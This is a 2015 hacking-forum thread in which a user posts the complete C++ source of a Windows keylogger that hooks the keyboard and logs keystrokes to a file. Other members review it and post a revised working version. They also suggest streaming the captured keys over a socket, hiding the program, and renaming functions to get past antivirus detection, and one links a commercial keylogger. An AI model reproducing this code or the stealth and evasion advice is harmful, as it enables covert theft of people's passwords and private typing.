Keylogger (Is it good)

Sikom · 01-22-2015, 03:41 PM

Does this keylogger work and is it good?

Code:
#define _WIN32_WINNT 0x0500
#include<fstream>
#include<windows.h>
using namespace std;
ofstream out("keys.txt", ios::out);
LRESULT CALLBACK keyboardHookProc(int nCode, WPARAM wParam, LPARAM lParam) {
	PKBDLLHOOKSTRUCT p = (PKBDLLHOOKSTRUCT) (lParam);
	
	// If key is being pressed
	if (wParam == WM_KEYDOWN) {
		switch (p->vkCode) {
			// Invisible keys
			case VK_CAPITAL:	out << "<CAPLOCK>";		break;
			case VK_SHIFT:		out << "<SHIFT>";		break;
			case VK_LCONTROL:	out << "<LCTRL>";		break;
			case VK_RCONTROL:	out << "<RCTRL>";		break;
			case VK_INSERT:		out << "<INSERT>";		break;
			case VK_END:		out << "<END>";			break;
			case VK_PRINT:		out << "<PRINT>";		break;
			case VK_DELETE:		out << "<DEL>";			break;
			case VK_BACK:		out << "<BK>";			break;
			case VK_LEFT:		out << "<LEFT>";		break;
			case VK_RIGHT:		out << "<RIGHT>";		break;
			case VK_UP:			out << "<UP>";			break;
			case VK_DOWN:		out << "<DOWN>";		break;
			// Visible keys
			default:
				out << char(tolower(p->vkCode));
		}
	}
	return CallNextHookEx(NULL, nCode, wParam, lParam);
}
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nShowCmd) {
	// Set windows hook
	HHOOK keyboardHook = SetWindowsHookEx(
		WH_KEYBOARD_LL,
		keyboardHookProc,
		hInstance,
		0);
	MessageBox(NULL, "Press OK to stop logging.", "Information", MB_OK);
	out.close();
	return 0;
}

Eclipse · 01-22-2015, 07:57 PM

It's nice to see one that isn't VB.NET.

Sikom · 01-22-2015, 07:59 PM

xD, can you please anwser my question is it good or can i do something to improve it?

Eclipse · 01-22-2015, 09:14 PM

(01-22-2015, 07:59 PM)SimPlaysGames Wrote: xD, can you please anwser my question is it good or can i do something to improve it?

I have no idea. I don't know C++.

phyrrus9 · 01-22-2015, 10:57 PM

It looks good to me. One thing you might want to add to it is the ability to push all that data in realtime over a socket. But it is a pretty clean basic keylogger that isn't written in VB. Props man.

ArkPhaze · 01-23-2015, 03:56 AM

It's pretty basic, but not entirely correct either...

Code:
char(tolower(p->vkCode))

^^ This will output inaccuracies based on a few VK keycodes you have missed (VK_DECIMAL, function keys...) for instance, and I would also stay far away from functional casts too for various reasons.

The one thing I would change is move:

Code:
ofstream out("keys.txt", ios::out);

Inside main. Declare a pointer to an ofstream outside, and point it to out within main. Then get rid of 'out.close();' because you don't need it.

Code:
#define _WIN32_WINNT 0x0500
#include <fstream>
#include <windows.h>

using namespace std;
ofstream *p_out;

LRESULT CALLBACK keyboardHookProc(int nCode, WPARAM wParam, LPARAM lParam)
{
  PKBDLLHOOKSTRUCT p = (PKBDLLHOOKSTRUCT)(lParam);

  // If key is being pressed
  if (wParam == WM_KEYDOWN)
  {
    switch (p->vkCode)
    {
      // Invisible keys
      case VK_CAPITAL:    *p_out << "<CAPLOCK>";   break;
      case VK_SHIFT:      *p_out << "<SHIFT>";     break;
      case VK_LCONTROL:   *p_out << "<LCTRL>";     break;
      case VK_RCONTROL:   *p_out << "<RCTRL>";     break;
      case VK_INSERT:     *p_out << "<INSERT>";    break;
      case VK_END:        *p_out << "<END>";       break;
      case VK_PRINT:      *p_out << "<PRINT>";     break;
      case VK_DELETE:     *p_out << "<DEL>";       break;
      case VK_BACK:       *p_out << "<BK>";        break;
      case VK_LEFT:       *p_out << "<LEFT>";      break;
      case VK_RIGHT:      *p_out << "<RIGHT>";     break;
      case VK_UP:         *p_out << "<UP>";        break;
      case VK_DOWN:       *p_out << "<DOWN>";      break;
      // Visible keys
      default:
        *p_out << char(tolower(p->vkCode));
    }
  }
  return CallNextHookEx(NULL, nCode, wParam, lParam);
}

int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nShowCmd)
{
  ofstream out("keys.txt", ios::out);
  p_out = &out;

  // Set windows hook
  HHOOK keyboardHook = SetWindowsHookEx(
                         WH_KEYBOARD_LL,
                         keyboardHookProc,
                         hInstance,
                         0);
  MessageBox(NULL, "Press OK to stop logging.", "Information", MB_OK);
  // out.close();
}

There are more non-printable keys of course (as mentioned). A real keylogger would probably hide itself too, but I'm assuming that this is just a base start. I also typically stay away from C style casts in C++.

Sikom · 01-23-2015, 10:07 AM

ArkPhaze Wrote: Did you just edit my keylogger sceipt? Have problem seeing because ipad mini in school

Code:
#define _WIN32_WINNT 0x0500 #include <fstream> #include <windows.h> using namespace std; ofstream *p_out; LRESULT CALLBACK keyboardHookProc(int nCode, WPARAM wParam, LPARAM lParam) { PKBDLLHOOKSTRUCT p = (PKBDLLHOOKSTRUCT)(lParam); // If key is being pressed if (wParam == WM_KEYDOWN) { switch (p->vkCode) { // Invisible keys case VK_CAPITAL: *p_out << "<CAPLOCK>"; break; case VK_SHIFT: *p_out << "<SHIFT>"; break; case VK_LCONTROL: *p_out << "<LCTRL>"; break; case VK_RCONTROL: *p_out << "<RCTRL>"; break; case VK_INSERT: *p_out << "<INSERT>"; break; case VK_END: *p_out << "<END>"; break; case VK_PRINT: *p_out << "<PRINT>"; break; case VK_DELETE: *p_out << "<DEL>"; break; case VK_BACK: *p_out << "<BK>"; break; case VK_LEFT: *p_out << "<LEFT>"; break; case VK_RIGHT: *p_out << "<RIGHT>"; break; case VK_UP: *p_out << "<UP>"; break; case VK_DOWN: *p_out << "<DOWN>"; break; // Visible keys default: *p_out << char(tolower(p->vkCode)); } } return CallNextHookEx(NULL, nCode, wParam, lParam); } int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nShowCmd) { ofstream out("keys.txt", ios::out); p_out = &out; // Set windows hook HHOOK keyboardHook = SetWindowsHookEx( WH_KEYBOARD_LL, keyboardHookProc, hInstance, 0); MessageBox(NULL, "Press OK to stop logging.", "Information", MB_OK); // out.close(); }

ArkPhaze · 01-24-2015, 12:51 AM

I did edit it with some of the modifications I had suggested. You messed up the quotes in your post btw.

SKVVV · 02-05-2015, 02:01 AM

One neat trick you could do, to bypass AV detection is to get rid of those HOOKs, and generally change names of methods and functions in your source code to something bit more innocent.

carollight · 10-10-2015, 10:05 AM

I use Micro keylogger, not bad.
http://download.cnet.com/Micro-Keylogger...75292.html

Keylogger (Is it good)
Author Message